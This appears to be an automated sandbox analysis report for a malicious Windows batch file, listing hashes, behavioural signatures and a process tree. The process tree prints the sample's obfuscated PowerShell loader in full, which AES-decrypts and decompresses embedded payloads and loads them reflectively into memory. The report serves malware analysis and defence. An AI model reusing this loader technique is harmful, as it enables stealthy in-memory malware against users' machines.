Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
25-07-2024 06:25
Static task
static1
Behavioral task
behavioral1
Sample
e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat
Resource
win10v2004-20240709-en
General
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Target
e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat
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Size
232KB
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MD5
7ebd033260b1e54dff5afd7c6534cf33
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SHA1
cfb7040938237156fa3795755c77eecd7957bc39
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SHA256
e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e
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SHA512
18175d028e1a0541c3c3f8221173c4e9004a14a4642bf34c6cb7ec660facb74f5c91e5ee8d8677d833cc5fe6d067ea6cb40e641524d909056b8daedc21d2682f
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SSDEEP
6144:FAWrhrgGAavaCnw8PaaEnyLzdyWEklez+3PDUi4WQZ5q:KWr5Mt+wezdTeK3LUi1QZM
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1332 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1332 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1528 wrote to memory of 2668 1528 cmd.exe 31 PID 1528 wrote to memory of 2668 1528 cmd.exe 31 PID 1528 wrote to memory of 2668 1528 cmd.exe 31 PID 2668 wrote to memory of 2132 2668 cmd.exe 33 PID 2668 wrote to memory of 2132 2668 cmd.exe 33 PID 2668 wrote to memory of 2132 2668 cmd.exe 33 PID 2668 wrote to memory of 1332 2668 cmd.exe 34 PID 2668 wrote to memory of 1332 2668 cmd.exe 34 PID 2668 wrote to memory of 1332 2668 cmd.exe 34
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\e00bcdcd800b56caf0a0f25595a24631eacaaa1f3be35ba99e2e3af0f469ba9e.bat';$sYtF='EletEUVmetEUVnttEUVAtEUVttEUV'.Replace('tEUV', ''),'LoaSBYldSBYl'.Replace('SBYl', ''),'FrogfmnmBagfmnsgfmnegfmn64gfmnStgfmnrgfmninggfmn'.Replace('gfmn', ''),'MAiuvainAiuvMoAiuvdAiuvuAiuvleAiuv'.Replace('Aiuv', ''),'CnzHHopnzHHyTonzHH'.Replace('nzHH', ''),'TJVfkranJVfksfJVfkormJVfkFinJVfkaJVfklBJVfkloJVfkcJVfkkJVfk'.Replace('JVfk', ''),'InBujdvBujdoBujdkBujdeBujd'.Replace('Bujd', ''),'EuLNintuLNiryuLNiPuLNiouLNiiuLNintuLNi'.Replace('uLNi', ''),'GetQcPVCQcPVurQcPVrenQcPVtPQcPVrocQcPVesQcPVsQcPV'.Replace('QcPV', ''),'RefRLNadfRLNLifRLNnfRLNesfRLN'.Replace('fRLN', ''),'SmNIEplimNIEtmNIE'.Replace('mNIE', ''),'DedEEtcodEEtmdEEtprdEEtesdEEtsdEEt'.Replace('dEEt', ''),'ChadhQhndhQhgedhQhExdhQhtendhQhsidhQhondhQh'.Replace('dhQh', ''),'CvNhjreavNhjtevNhjDecvNhjryvNhjptvNhjovNhjrvNhj'.Replace('vNhj', '');powershell -w hidden;function rfZro($qxWYn){$tAnYl=[System.Security.Cryptography.Aes]::Create();$tAnYl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$tAnYl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$tAnYl.Key=[System.Convert]::($sYtF[2])('MqczF3Q/W2LU3CGZkY9zS+i5Q+bJVdWYQB5O4eBge5k=');$tAnYl.IV=[System.Convert]::($sYtF[2])('m1KVoTztYUoOwoqZpe9JdA==');$dHynp=$tAnYl.($sYtF[13])();$mirwI=$dHynp.($sYtF[5])($qxWYn,0,$qxWYn.Length);$dHynp.Dispose();$tAnYl.Dispose();$mirwI;}function SfByD($qxWYn){$fdQfc=New-Object System.IO.MemoryStream(,$qxWYn);$KNfPz=New-Object System.IO.MemoryStream;$tnctE=New-Object System.IO.Compression.GZipStream($fdQfc,[IO.Compression.CompressionMode]::($sYtF[11]));$tnctE.($sYtF[4])($KNfPz);$tnctE.Dispose();$fdQfc.Dispose();$KNfPz.Dispose();$KNfPz.ToArray();}$dzSzW=[System.IO.File]::($sYtF[9])([Console]::Title);$twvSq=SfByD (rfZro ([Convert]::($sYtF[2])([System.Linq.Enumerable]::($sYtF[0])($dzSzW, 5).Substring(2))));$xLxfI=SfByD (rfZro ([Convert]::($sYtF[2])([System.Linq.Enumerable]::($sYtF[0])($dzSzW, 6).Substring(2))));[System.Reflection.Assembly]::($sYtF[1])([byte[]]$xLxfI).($sYtF[7]).($sYtF[6])($null,$null);[System.Reflection.Assembly]::($sYtF[1])([byte[]]$twvSq).($sYtF[7]).($sYtF[6])($null,$null); "3⤵PID:2132
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1332
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